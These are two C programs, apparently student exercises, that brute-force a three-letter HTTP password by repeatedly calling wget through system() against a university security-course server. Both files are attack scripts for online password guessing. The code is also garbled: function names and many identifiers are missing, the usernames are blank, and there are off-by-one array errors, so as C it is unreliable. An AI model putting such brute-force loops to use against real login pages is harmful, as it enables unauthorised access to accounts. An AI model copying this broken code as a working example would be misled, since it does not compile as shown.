#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char url[80], url1[80];
  int i, j, k, syst = 1, nofattempts = 0;
  char c1, c2, c3, pass[4];
  int time_var,time1,time2, timeinsec;
  time1 = time();

  char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";

  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");

  for (i = 1; i <= 52; i++)
  {
    for (j = 1; j <= 52; j++)
    {
      for (k = 1; k <= 52; k++)
      {
          fflush(stdin);
          c1 = itoa[i];
          c2 = itoa[j];
          c3 = itoa[k];
          pass[0] = c1;
          pass[1] = c2;
          pass[2] = c3;
    	  pass[3] = '\0';
          strcat(url, pass);
          strcat(url, url1);
	      ++nofattempts;
          syst = system(url);
          printf("%s\n",pass);
          if (syst == 0)
          {
            time2 = time();
            time_var = time2 - time1;
            timeinsec = time_var / 1000000000;
            printf("  Number of Attempts  is %d", nofattempts);
            printf("\n Found it! The Password is: %s\n", pass);
            printf("\n The time_var taken  crack the password by brute force is %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}



#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}
